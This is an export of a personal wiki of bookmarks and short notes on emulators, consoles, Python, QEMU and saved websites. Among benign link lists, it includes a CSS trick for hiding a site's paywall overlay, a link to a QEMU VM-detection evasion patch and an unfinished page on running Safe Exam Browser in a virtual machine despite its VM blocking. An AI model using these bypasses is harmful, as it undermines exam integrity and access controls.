Wikipedia

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SpaceCadetPinball, plus other known ports — Decompilation of 3D Pinball for Windows – Space Cadet
- Pinball-on-Android — Mantained Android port of 3D Pinball Space Cadet

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Pine64:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Pine64

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ping

Octt 8th June 2023 at 2:07pm

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Ping "DUP!" — It's something that can happen when seeing data with ping: a packet gets corrupted somewhere in the way and a duplicate ping packet is received. Not dangerous unless it happens very frequently.
```
$ ping example.com
PING example.com [...]
64 bytes from [...]: icmp_seq=1 [...]
64 bytes from [...]: icmp_seq=1 [...] (DUP!)
64 bytes from [...]: icmp_seq=2 [...]
```

See also: Webmaster\Sysadmin Resources |

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Pixel Art

Octt 17th February 2023 at 7:48am

Wikipedia

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Pixelfed:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Pixelfed

See also: Fediverse |

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PlayStation

Octt 22nd December 2023 at 11:39am

Wikipedia

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PlayStation Developer Wiki (concerning all PS consoles)
Dodgy Keblog — The DodgyKebaab PlayStation Save File repository
どこでもいっしょ.com (PlayStation)
- Doko Demo Issyo Wiki is a collaborative website about the Doko Demo Issyo series that anyone can edit!
- PlayStation’s Forgotten Official Mascot - The Complete History of Toro Inoue & Doko Domo Issyo

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PlayStation 1

Octt 23rd November 2023 at 10:18pm

Wikipedia

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tonyhax — PS1 savegame exploit — [Git]
PSXDEV Network
netyaroze.com
ps1-links — the PSX development links center, where all the links related to development on the first Playstation meet! — [Git]
Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~
PlayStation Specifications - psx-spx — [Git]
psx.arthus.net — Lots of psx dev stuff here.
PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom
psx-asm-cargo — PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds
Homebrew Source Code - Rendering 3D Graphics with PsyQ (with Blender) — [Reddit]
Hitmen collection PSX sources
Nolibgs Hello Worlds ! — Collection of PsyQ basic examples NOT using libgs

Emulators, Debuggers

no$psx — nocash Playstation PSone emulator and debugger by martin korth, + resources

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PlayStation 2

Octt 2nd November 2023 at 11:22pm

Wikipedia

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Can the PS2 Emulate the N64? Plus RetroArch and Other Emulation Oddities! [Sharopolis]

Emulators

PCSX2 — free and open-source PlayStation 2 (PS2) emulator — [Git]
Play!/Purei — PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms — [Git] [Compatibility] — promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.
AetherSX2 abandoned emulator of the PS Two console for the Android platform, desktop, UWP, miles better than DamonPS2 despite the problems.
- Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is v1.4-3060.
- Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...
DamonPS2 — The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).
- Stole PCSX2 code without at all respecting the license, and also steals trademarks like the PPSSPP name. Don't give them any money, find a cracked pro APK without ads if you really want to use it, and (as a random user on Reddit said) pirate the shit out of it and don't feel bad about it, really you won't be doing anything more wrong than buying, because official DamonPS2 is in itself an illegal pirated version of PCSX2. They also consistently deny the evidence of stolen code and use an excuse of having a 'copyright certificate of the Chinese government' as if that would mean anything when talking international copyright.
- Some people speculate that among the individuals that harassed Tahlreth there could also have been DamonPS2 developers/henchmen, desperate to make the wonderful AetherSX2 end after they failed at destroying it by fake DMCA requests.

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PlayStation Portable

Octt 22nd December 2023 at 11:38am

Wikipedia

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pspunk - PSP Guides & Resources
How to connect your PSP on Linux — if it doesn't work automatically, do sudo modprobe usb-storage
- [GUIDE] Remotejoy on linux with 6.xx fw — The Guide to displaying your PSP screen on your PC over usb on linux (... apparently not working for me but I'll save)
PPSSPP — PSP emulator for Android, Windows, Mac and Linux, written in C++. — [Git]

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PocketGo

Octt 5th February 2023 at 3:01pm

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Pokémon

Octt 7th November 2023 at 11:53pm

Wikipedia

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Bulbapedia — community-driven Pokémon encyclopedia
- Pokémon Central Wiki — enciclopedia Pokémon in italiano
Smogon University — Pokémon website and community specializing in the art of competitive battling
- Pokémon Showdown — online Pokémon battle simulator — [Git]
Complete FireRed Upgrade — complete upgrade for FireRed, including an upgraded Battle Engine — [Git]
pret's Pokémon decompilation projects

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Pokémon Marron Merda:it

Octt 6th February 2023 at 11:16am

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Portable storage for consoles at home and emulators on the go

Octt 20th October 2023 at 11:03pm

With some ideas, it's possible to conciliate the gaming at home on standard consoles, with the gaming on the go via smartphone emulators. Ideal setups revolve around the use of pocketable storage mediums (SD cards and USB pendrives) that are shared between the devices and hold all the games with all the latest save files, in a centralized plug-and-play fashion.

Printing

CUPS
EPSON WF-2510

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Printing

Octt 21st December 2023 at 12:21am

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SystemPrinting (Debian) — A basic view of the CUPS Printing system. Aimed at Debian 11 (bullseye) but it should fit most...

Printer

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10 Ways to Use Your Mini Thermal Printer

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Programming

Octt 7th November 2023 at 10:34pm

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Loop unrolling
- Duff's device — I can't totally understand how this works but the piece of code is visually a beautiful machine
Header-only
Program optimization
How much abstraction is too much? ; Can too much abstraction be bad?

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Proprietary Software

Octt 7th February 2023 at 9:46pm

Proprietary Software: it's not really proprietary if you don't care about absurd EULAs and just always take your liberty to run, study, modify, and share it.

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Proxy

Octt 22nd December 2023 at 12:36pm

Wikipedia

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Art Class — Enjoy unblocked games, apps, and more. — [Git]
Tinf0il.tech — Probe the internet privately — [Git]

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Pseudo-OS

Octt 23rd August 2023 at 11:22pm

A pseudo-operating-system is a software that acts (in a limited way) like an operating system, but is usually a normal application that runs on top of real OS.

Here are some

daedalOS
OS.js: Website | Demo | Git

Pubnix

Octt 8th June 2023 at 2:08pm

A pubnix (public-unix) is a Unix server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.

Some pubnixes are formally joined together in networks. One of the most popular active today is Tildeverse.

Puzzle

Octt 3rd November 2023 at 11:32pm

Wikipedia

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Sliding puzzle
Puzzling Stack Exchange — question and answer site for those who create, solve, and study puzzles
Simon Tatham's Portable Puzzle Collection
https://www.clarity-media.com/onlinepuzzles/
https://www.studiogiochi.com/enigmistica/logica/

Printables

Puzzles by Djape — Sudoku books, kakuro books, nonograms books
www.printable-puzzles.com

Python

Ren'Py

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Python

Octt 24th December 2023 at 5:37pm

Python is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.

Wikipedia

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I hate that, while tab-indentation is practically supported by the interpreter, it's against the standard, and linters/editors hate you if you use tabs instead of spaces. micro just won't let you persist the option to keep tabs enabled instead of spaces across sessions...

Thonny — Python IDE for beginners, especially useful and comfy for integrating full MicroPython support, meaning one can edit the scripts residing on the MP device directly — [Git]
PocketPy - C++17 header-only Python interpreter for game engines. — [Git]
Python.helpful.codes
Python Tips / Intermediate Python Book — topics which are discussed in this book open up your mind towards some nice corners of Python language — [Git]

How to and troubleshooting

Text:

Hex string to int — int('6f637474', 16), int('0x6f637474', 10)
Python 3 string to hex — 'string'.encode().hex()

Files:

How to copy files in Python? (with shutil)

HTML things

"html" std library, Beautiful Soup
Escaping HTML: html.escape() in Python, easiest way to escape HTML in Python
Unescaping HTML: Decode HTML entities in Python string

See also: Octt |

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QEMU

Octt 5th November 2023 at 11:30am

Wikipedia

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A software integrating QEMU as an Android app is Limbo PC Emulator (Git).
Qemu Anti Detection — A patch to hide qemu itself, bypass vm detection

How-to

Really Simple Network Bridging With qemu
Expose guest port to host network — eg. -device e1000,netdev=net0 -netdev user,id=net0,hostfwd={tcp|udp}::{HostPort}-:{GuestPort}

Rasperry Pi:it

Octt 6th February 2023 at 11:16am

Il Rasperino (Raspberry Pi) è un Single-Board-Computer ormai dimostratosi non all'altezza, sia a livello tecnico e pratico, sia per via di come l'azienda opera da più di un anno.

Più informazioni al suo riguardo sono disponibili sul sito ufficiale: https://www.raspberrypi.com.

Sotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che questo tipo di computer completi.

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Rclone

Octt 5th February 2023 at 2:57pm

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ReactOS:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/ReactOS

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Reddit

Octt 6th February 2023 at 7:32pm

From en.Wikipedia.org/Reddit

Tools

Unddit - View deleted stuff from Reddit - [Git]

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Regex

Octt 20th December 2023 at 12:41am

Wikipedia

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regex101 — webapp to build, test, and debug regex
RegexOne — Learn Regular Expressions with simple, interactive exercises.
You can't parse [X]HTML with regex

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Ren'Py

Octt 20th September 2023 at 3:51pm

Wikipedia

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unrpa — Program to extract files from the RPA archive format — [Git]
unrpyc — A Ren'Py script decompiler
- madeddy's fork, to work with newer games, since original seems abandoned since 2022

Notes

The last version that builds for Android Gingerbread is 7.2.2 (2019, Py 2.7)

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Retrodevelopment

Octt 11th December 2023 at 12:43am

8bitworkshop — web-based IDE for 8-bit programming and Verilog development — [Git]
Yandex Retro Games — Yandex Museum's competition dedicated to game development for retro platforms

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Retrogaming

Octt 23rd December 2023 at 9:14pm

Wikipedia

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Resources

Play online

Let's Play GBA — Play All Game Boy Advance Games Online — shitty JS emulation but offers a Flash emulator, curious

Emulators

Mesen — Mesen is a multi-system emulator for Windows and Linux. It supports NES, SNES, Game Boy (Color) and PC Engine games. It also includes an extensive set of debugging tools for homebrew development and romhacking. — [Git]

ROMs and various archives

r/Roms Megathread
No-Intro Romsets
Redump Romsets
Myrient — Where sharing is a priority
MarioCube — Repository focused on preserving Wii and GameCube goodies
Vimm's Lair — Preserving the classics since 1997

Misc

RetroReversing — Awesome website for reverse engineering retro games — [Git]
Decompiled Retail Console Games [Retro Reversing]
Zelda Reverse Engineering Team (Git)
retrobrews — Free game collections for easy installing/playing on RetroPie (abandoned?)
Anton Retro

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Rewriting server service scripts from sh to zx

Octt 8th October 2023 at 10:47pm

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Rockchip:en

Octt 6th February 2023 at 11:15am

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RSS

FreshRSS

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RSS

Octt 21st December 2023 at 10:11pm

Wikipedia

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Resources

RSSHub — 🍰 Everything is RSSible — [Git]
RSS-Bridge [Main Instance] — The RSS feed for websites missing it — [Git]
RSS 2 HTML — PHP script to convert RSS feeds into HTML, suitable for embedding in webpages — [Git]
Are there any constantly updating RSS feed services to use for testing, or just very active RSS feeds?
- Lorem RSS Generates RSS feeds with content updated at regular intervals — [Git]

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Rust language

Octt 12th November 2023 at 12:14am

Wikipedia

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cargo-mommy — Mommy's here to support you when running cargo~ ❤️

Reclyclables

🚀 hello-world.rs 🚀 — 🚀Memory safe, blazing fast, configurable, minimal hello world written in rust(🚀) in a few lines of code with few(1092🚀) dependencies🚀

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Salesforce

Octt 5th March 2023 at 7:58pm

Wikipedia

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News

March 2023: Salesforce Lays Off 8k While Paying Matthew McConaughey $10M/Yr to Sit Around.

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Samsung Galaxy Ace 4 Style

Octt 7th February 2023 at 6:39pm

Embed of https://www.gsmarena.com/samsung_galaxy_ace_style_lte_g357-6706.php

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Samsung Galaxy Player:en

Octt 18th February 2023 at 11:53am

Wikipedia

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Galaxy Player 3.6

I have this one.

Codename: aalto
Product name: Samsung Galaxy Player 3.6
Model number: YP-GS1

Resources collection: https://gitlab.com/aalto-stuff

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Samsung Galaxy S5 Mini

Octt 7th February 2023 at 6:04pm

Embed of https://www.gsmarena.com/samsung_galaxy_s5_mini-6252.php

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Samsung:en

Octt 7th February 2023 at 7:14pm

From en.Wikipedia.org/Samsung

Inside the community, some Samsung products, notably smartphones in general, are called various names:

Lagsung (Lag+Samsung): Because their OneUI Android interface is notoriously laggy, and considered "gummy" by some.
Scamsung (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.
Gnusmas: Just the word "Samsung" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.
handwarmer: Referred to the company's Exynos processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.

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Articles

Wikipedia

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Saved/Articles

Octt 5th March 2023 at 10:20pm

Collection of miscellaneous articles I read around the Web and found nice or at least somewhat interesting.

March 2023

Science has found a simple way to free us from our addiction to social media - [OcttArchive]

Tech experiences that we enjoy are made so everything is as frictionless as possible.
This is often exploited by bad corporations that put profit over people's health.
External systems made to introduce friction when wanting to access a distracting app (forcing a X-second wait, requiring solving small logic puzzles, etc...), or during its usage (nudges telling you not to waste time), can reduce bad or useless screen time, without actually making the user feel like they are restricted (unlike what forced time limitations do).

September 2022

The sum of all knowledge and the sorry state of the web

Lose Weight the Slow and Incredibly Difficult Way - Trying to answer a silly question can take you through some serious science.

February 2021

Why doesn't Costa Rica use real addresses? - [OcttArchive]

August 2016

I’m a very slow thinker - [OcttArchive]

September 2010

Advice to Aimless, Excited Programmers: (1) keep it simple, (2) make it something you'd actually use. - [OcttArchive]

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Wikipedia

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Saved/Articles/Wikipedia

Octt 5th March 2023 at 10:38pm

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Games

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Saved/Games

Octt 25th November 2023 at 8:11pm

List of some small games I liked, I must save them but don't know where.

Pistol-Pong-DS — It's like the classic game pong, but with guns.
- Handheld Pong, now with firearms! (Pistol Pong DS)
Project DS — Project DIVA for the DS!
- Project DIVA on DS - Tutorial and Second Demo
- Pre-packaged version by Nullbyt on archive.org (This upload contains the AFT charts and songs already converted and ready to play)
The Legend of Zelda: Rip-off the kingdom — Une recréation du jeu The Legend of Zelda Tears of the kingdom
Rogule - A dungeon a day keeps the Balrog away — [Git]
Terri-Fried — multi-platform C++ game made for Ludum Dare 46, a good example of porting to many consoles — [Git]
Toradora! Portable
- Patch traduzione italiana ; ISO già rattoppata
ZType - Typing Game

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Links

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Saved/Links

Octt 4th December 2023 at 12:12am

Random saved links that I should put somewhere...

Dive into Systems — free, online textbook that serves as a gentle introduction to computer systems, computer organization, and parallel computing

[Other contents are moved to private notes]

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News

Tech

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Saved/News

Octt 6th March 2023 at 5:02pm

Headlines saved as future bookmarks that don't really fit into other tiddlers.

March 2023: Secret Service, ICE break the law over and over with fake cell tower spying.; Plan to incinerate soil from Ohio train derailment is ‘horrifying’, says expert - Soil is being sent to a nearby incinerator with a history of clean air violations, raising fears the chemicals will be redistributed.; Leaked audio reveals US rail workers were told to skip inspections as Ohio crash prompts scrutiny to industry - employee says manager told her to stop marking cars for repair, as Ohio derailment brings hard look at industry’s record of blocking safety rules.; Denver’s e-bike subsidy program produced more new riders, fewer car trips.; Vittorio Feltri sui migranti: "Agli extracomunitari ricordo un vecchio detto italiano: partire è un po' morire. State a casa vostra".
February 2023: Crotone, il racconto dei sopravvissuti: "Nella stiva eravamo 180, ci facevano salire solo per respirare. Gli scafisti fuggiti su un canotto".; Strage di Crotone: le vergognose parole di Piantedosi - "Io non partirei se fossi disperato perché sono stato educato alla responsabilità'".; Report: US Pedestrian Death Rate Increased 9x Faster Than Population During COVID.; Bankman-Fried and others allegedly made 300 illegal political donations.; U.S. food additives banned in Europe: Expert says what Americans eat is "almost certainly" making them sick.

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Tech

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Saved/News/Tech

Octt 6th March 2023 at 4:43pm

Interesting news I collect from the tech Internet sphere (HN primarily, but not exclusively), that don't fit into other tiddlers.

March 2023: Facebook and Google are handing over user data to help police prosecute abortion seekers - Social media sites are inundated with police requests for user data and may cooperate even if not legally required to.
February 2023: I'm a Stanford professor who's studied organizational behavior for decades. The widespread layoffs in tech are more because of copycat behavior than necessary cost-cutting.; Even hackers are reportedly getting laid off by organized crime groups - As cybersecurity improves, one hacker group laid off 45 employees.; Roald Dahl ebooks remotely updated to censored versions after purchase.
December 2022: The FBI recommends using an ad-blocker when searching the web

Older

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Tech

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Saved/Posts/Tech

Octt 6th March 2023 at 5:03pm

Some light posts about tech (microblog/forum basically) I need to save and don't know where to fit. (Not all are there, some are in private Mastodon bookmarks).

2023/02/25: If you drag an emoji family with a string size of 11 into an input with maxlength=10, one of the children will disappear.
2023/02/24: This post brought to you by gdb and grep -a, because after typing all that out as a quote toot and deciding that nah, I wanted it standalone, I clicked the "x" next to the quote box (which implies removing the quote association) and that didn't just cancel the quote, it deleted all the text. So I attached gdb to the Firefox content process hosting this tab, took a core dump, and grepped it for the lost text. I wasn't about to write all that again from scratch.
2023/02/23: Do not store any funds in PayPal or use them for anything critical.
2023/02/20: What are these strange random strings spamming my blog?

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Sites

Development
Uncategorized

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Saved/Sites

Octt 24th December 2023 at 5:44pm

List of some Internet sites (Web and also other protocols, so not only "websites") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.

Some personal ones could be defined as "digital gardens" and are might be moved in that section.

Note: "[property]-leaning" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).

Blog-leaning

sitoctt
Arcisito — [Git]
Akalanka Ekanayake Blog — It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao
Ctrl blog by Daniel Aleksandersen
Daring Fireball
/dev/null — My name is Christian Benstein and I write about macOS based workflow’s, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create. — [Git]
Eli Grey
Fabrizio Musacchio
FlareXes
Gianmarco Gargiulo
iliana etaoin — systems engineer at oxide computer company
Il Disinformatico — Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale
iter.ca
koyu's personal website
l33t.codes — Nice emulated retro-style with CRT effects and monospace text of many colors.
LarrySanger.org — "Technology, philosophy, and more"
Leo3418's Personal Site — [Git]
Lily's Things at The Cool Site
LiteFeel
Lisperator.net — to create, to ilisperate
Lyosha Cluster (Лёша Кластер)
Mega Cat Studios, Inc. — with blog about retro, videogame, and development subjects
Magnetismo 2.1 - Il meglio dell'informatica
Max Schillinger — Linux pro, workflow optimizer, coder for life.
📚 Nitay Neeman's Blog
P01✨ CREATIVE CODER & TECHNICAL SPEAKER
Parzibyte.me (+Blog) — Blog de conocimiento gratuito: linux, programación, open source, bases de datos, android, frameworks, web e informática en general. — [Git]
Read the Tea Leaves — Software and other dark arts, by Nolan Lawson
RetrOfficina4004 Vintage — Chi non ricorda il passato è destinato a riviverlo
λ ryan. himmelwright. net
Sebastian Jambor's blog — software engineering, efficiency and other things
SECRET CLUB - We Break Software — UPPING THE ANTE ON RESEARCH
Simon Willison’s Weblog — [Git]
Singpolyma — Weber, Stephen Paul singpolyma. I played the tech industry game and won. — includes an interesting "Actionstream" feature listing public actions done on other sites
Stephan Wagner
TechLifeWeb — Exploring the digital life — interesting organization of normal blog posts with microblog-style notes
Technically We Write is about technical writing, technical editing, and all things "technical communication." Learn more about who we are.
There oughta be... — A collection of overcomplicated devices nobody needs
Thiago Rossener - Desenvolvedor Front-End
TiTiNoNero dice cose
things i play — My take on Gaming, Emulation and Steam related stuff on Linux
Val Packett

Book-leaning

Gallery-leaning

These are portfolios, collections of projects, hubs, landing pages, etc.

OctoSpacc Hub
abe's projects - abe.today — Hi, I'm abe. I enjoy making things!
Arktis :: Sigve Sebastian Farstad
ari melody — your local SPACEGIRL 💫
Daniel X's Artisanal Internets
- Whimsy Space - ZineOS
eip hax — hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'. — contains sections related to game console hacking/homebrew
ENTROPIE — a handful of connected blogs with tech articles and tech art galleries
Grumpy Website — world-leading media conglomerate of renowned experts in UIs, UX and TVs
Jeff Thompson — many creative programming and artistic tech works by the author are highlighted on the site
libdb.so (diamondburned) / diamondx.pet — cool site, the thing is just a terminal shell but with working links, images, and small tools — [Git]
Neal.fun
Nanolx — Hacking @ Debian
Novasquirrel's site
Rogue Studio — Digital marketing, branding, and product experience studio
Salvador Camacho — Desarrollador Web y Administrador de Sistemas — [Git]
The Hacker's Choice — group of international hackers, founded in 1995 — [Knowledge Base]
Tom's Pages
Trong (+ digital garden) — Vietnamese Product Designer living in Singapore, currently @Carousell
Yasoob Khalid — Author, Blogger & artist who can't make up his mind — [Git] — the site contains some cool tech-focused art projects
ZeptoBars — hi-def pictures of naked CPU dies

Note-leaning

These are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...

Attacomsian
Fizer Khan
Matias Kinnunen (mtsknn) — [Git]
Naomi's Notes
note.nkmk.me: en, jp (different articles)
绒布地球 (Rongrongbq)
rdpillon — Rick's Home Online
Show Notes from the Open Source is Awesome Youtube Channel
SvennD — Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9! — [Git]
Vincent Young Notes (missuo.me) — [Git]

Wiki-leaning

WikiHands
WikiSpacc
Andrea Minini PKB: .com, .org
- How (by Okpedia) — Tutorials and Solutions KB — (apparently a separate wiki of the same person above, also multi-language)
Computer Science Mojo — David's Notes on coding, software and computer science — [Git]
Everything2 is a collaborative online community consisting of a database of interlinked user-submitted written material.
Maggie Appleton — [Git]
bash.org QDB — Quote Database Home
RetroRGB — site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer
RaspiBO — gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)
TheFrenchGhosty
The Refined Mind — This is my tiny plot on the internet where I share ideas in progress. It’s my public workspace and an experiment in what’s known as digital gardening.
wiki.nikiv.dev — [Git]
- [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: .modalblur{display:none !important;}; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).
XXIIVV — [Git]

Mess-leaning (often the most creative)

Kicks Condor
samy.pl — Website full of easter eggs by the same person who once hacked MySpace.
- One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in view-source: ?) get a fake HTML. [Older but more in-depth analysis]
Tramaci.org — Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di pseudo-OS web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente è interessante).

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Saved/Sites/Development

Octt 24th December 2023 at 4:40pm

Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).

Note: the most technically useful ones, or the non-too-personal ones, might be listed under Development/Resources.

Aibol Kussain — My Online space to share my learning in tech
Hello Algorithms, Blockchain and Cloud — The Knowledgebase of Computing — seems like the most interesting and unique posts are the very old ones, still saving it here just for those.
binji's dustbin
Chibi Aliens / ChibiAkumas — learn Assembly for the Greatest Classic Processors
The Copetti Site - Rodrigo Copetti — Technical writings for hungry readers — has a Architecture of Consoles series
copyrat90::devlog, velog.io/@copyrat90 — [Git]
Coto's development site
Ctrl Alt Develop — Control the conditions. Alter your paradigm. Develop a solution.
delasign — we design, develop & optimize digital products & experiences for companies & individuals.
DevDugeon — Virtual Hackerspace; programming, cybersecurity, software freedom, and electronics
cpprograms
DefKorns — Mod repository (has a cool strange Spiderman theme?)
Dragonminded.com — ...a site for everything else
Dr.Hell's Page - 独田地獄斎之頁
Dustin John Pfister
Fyrdility (Alexis Deveria) — web design, web development, web technologies, web browsers and web standards
Hydra's Lair — Emulators and Stuff — [Git]
Jack's AutoHotkey Blog — Feed Your Brain While Adding Power to Your Windows Computers
Joaquim Ley — Builder, Engineer. Working in leadership. Blockchain, AI, social impact & climate.
- Joaquim Ley Blog — Writing about my experience sailing the tech world.
Hey onetwo! — 林一二的开放记忆 | 关于前端_模因学_语义网_游戏开发_的博客 (Lin Yier's Open Memory | Blog about front-end, memetics, semantic web, game development)
- TiddlyWiki: Standard, Prerelease — knowledge base mainly used to store text memes that Lin Yier encounters by chance, as well as to replace his various thoughts posted in Weibo Moments, and as a directory to pile up online content to be sorted out during the exploration process
kura.gg
Lessons from a... Creative Developer (iwearshorts.com) — Things I learn along the way, I keep here. Life, lessons and betterment through code.
Krzysztof Kowalczyk — design and implementation of software
Lameguy64 — mainly PS1 development projects
loadzero — Jason McSweeney, unix hacker and recovering video game programmer
Meefik's Blog — Freedom and Open Source — [Git]
Mike MGarcia's Games Development Blog — Hobby GameDev like its 1999
notin.tokyo (不在東京)
null program (Chris Wellons)
Patater — has a lot of retrodevelopment projects and resources, especially NDS
- GBAGuy's Lair Patater Mirror — notes on some retrodevelopment
Photon Storm — HTML5 Game Development Services
Shiru's Stuff
SkyLyrac — Hacking, software projects and my thoughts — [Git]
Tan Li Hau 陈立豪 — Frontend Developer at Shopee Singapore
tonsky.me — programming and UI design
The Ramblings Of A Coder by Omer Anson — [Git]
Tom McFarlin — Software Engineering in WordPress, PHP, and Backend Development
UTF-8.jp
Will Usher — Scientific Visualization Engineer
Yomotsu net — Akihiro Oyamada I'm a Web-Front-End-Engineer, as well as a Microsoft MVP for Internet Explorer since 2011 to 2017. Playing with CSS3, SVG, WebGL and others.
Zenithia — Indie Game developer. Loves retro tech, making 8-bit music, motorcycles.
ZetCode - accessible tutorials for various languages

Mainly game development:

Gaffer On Games
Mason Barry Games — 3D Artist/Graphic Designer, inspiration comes from retro games from PlayStation 1 and Nintendo 64
Retro-Programming — Welcome to Old School Game Programming

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Saved/Sites/Uncategorized

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Social

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Octt 8th June 2023 at 1:56pm

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Saved/Software

Octt 21st February 2023 at 9:45pm

Random saved software that I have to save for whatever reason but (for the moment) can't fit it into other tiddlers.

Organizations

Method of Action - tools, toys and games to help you learn design - [Git]
- Method Draw - Basic SVG editor

Server

HashOver - A free and open source PHP comment system designed to allow completely anonymous comments and easy theming
f2ap (Feed to ActivityPub) - Connect your website to ActivityPub using your RSS/Atom feed

Web Apps

Squoosh - Image compression - [Git]
SVG-Edit - [Git]

Cloud things

Deta Space - Computer that lives in the "personal cloud"

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Saved/Videos

Octt 5th March 2023 at 12:06am

Videos I want to save or comment but don't fit into specific categories.

Cicalone Simone

Abbiamo Preso il criminale che ci ha Aggredito con un Coltello alla Stazione Termini

Fa pensare molto il momento del video sottotitolato con "Mondo al contrario: criminali che chiamano la polizia", in cui con la (fattualmente falsa) scusa che la squadra di Cicalone lo stesse minacciando, il criminale fa cenno ad una vicina pattuglia di venire a risolvere la situazione... il criminale ha chiamato la polizia, non Cicalone, assurdo.

f4mi

Why is THIS in a PlayStation game?

A mother calls in to a radio station to lament her child found a South Park video in a PlayStation game.
In the years following, drama and contestations emerged, as well as doubts.
The story is true: that video is actually present in the first revision of the game disc.
The logical explanation is that video was used as dummy filler data during development for agile reasons, but then left there accidentally at release.

GioPizzi

Questa è la (nostra) guerra

Nell'anniversario dell'inizio della guerra in Ucraina del 2022, un'analisi su tutto ciò che è girato attorno ad essa. Dai motivi effettivi del perché sia iniziata, come mai le reazioni esterne sono state quelle che abbiamo visto, e infine cosa bisognerebbe imparare dalla tragedia, perché riguarda costantemente anche noi che viviamo fisicamente fuori dal conflitto.

I did a thing

I made an illegal home security system!

In the video a solution for house security is created using a paintball gun, some servomotors, and a PC running a face detection program. When any face is detected, the gun is made to turn to face the person, and then shoot them.

I made hermit crabs armor then released them!

Johnny Harris

Inside Putin's Censorship War: How These YouTubers Are Fighting Back

The International Date Line, Explained

Louis Rossmann

This mentality is why the world SUCKS!

When a company does a shitty thing, naive people always say "Just don't buy from that brand if you are against that move", or the opposite "you're an idiot for buying the anti-consumer product". This is wrong since:

Any company that was one day "good" will the next reveal itself "bad" if it's profitable.
- Then, there will be no good alternatives and you will be forced to "just buy" whatever you were saying to "just don't buy" the day before.
By combating ourselves (between customers) we miss the big picture and the actual point of the matter, which is some moves are just plain bad and must be fought for what they are.
- Companies profit from the fact that people do war at each other instead of being united and ultimately get to undermine the freedoms of everyone.

Mainstream media catching onto the 'you own nothing' culture shift

Commentary of Charlie Warzel's article on The Atlantic "My Printer Is Extorting Me". An analysis on how anti-consumer DRM and subscription models are becoming so problematic that now even more mainstream media is starting to shed some light on the issue.

TED-Ed

What if you experienced every human life?

ThioJoe

How Anyone Can DESTROY A Scam Website in Minutes 😤 (Scammers Will HATE This)

yotobi

Un trauma chiamato 'Ultimo Minuto'

Analisi di un vecchio programma televisivo che non conoscevo, che metteva in scena ricreazioni di fatti pericolosi e/o tragici realmente avvenuti come scherzi, facendo recitare persone prese alla buona e vedendo la reazione di quelle che, pensando siano reali, vanno incontro agli incidenti.

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Rekka Bellum and Devine Lu Linvega, Hundred Rabbits - XOXO Festival (2019)

Life and experience of the 2 HundredRabbits, how they got to live on a boat in the ocean.

Stop Procrastinating With Note-Taking Apps Like Obsidian, Roam, Logseq

MS-DOS tutorial, or cure for insomnia?

The Art of Code - Dylan Beattie

The PC turbo button mystery finally solved! [VWestlife]

1. Cronache marxiane: Marx aveva ragione?

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Scribblenauts

Octt 8th February 2023 at 10:41pm

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Scripting

Shell scripting

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Scripting

Octt 21st December 2023 at 7:39pm

Wikipedia

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GUI Scripting

script-server (+ wiki) — Web UI for your scripts with execution management
n8n — GUI Workflow automation for technical people — [Git] [Docs] [Forum]
Activepieces — Automate your work, Open source alternative to Zapier, Tray.io, make — Doesn't allow for complex workflows that span in multiple directions, only linear steps one at a time — [Git]

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Search engine

Octt 11th July 2023 at 11:16am

Wikipedia

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LibreX
Searx — Privacy-respecting hackable metasearch engine — [Git]
- SearXNG - Better Searx fork in active development — [Git]
YaCy — free software for your own search engine
- Searchlab Web Demo

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SEB 3.5.0 on Linux (VM Bypass)

Octt 13th June 2023 at 12:59pm

Having the need of running Safe Exam Browser while I've only got GNU+Linux on my laptop and desktop, I had to look for alternative solutions.

There is no linux-native full SEB application, it's only for Windows and macOS.
Running SEB on WinPE is unfeasible as it needs to install many runtime dependencies, it's too slow to do that while booted into the live system, and on my 4 GB laptop the ramdisk is not big enough.
SEB by default detects and blocks virtual machines.
- This option can be changed in the local configuration file, but when starting an exam the configuration loaded from the server takes precedence over the local one.
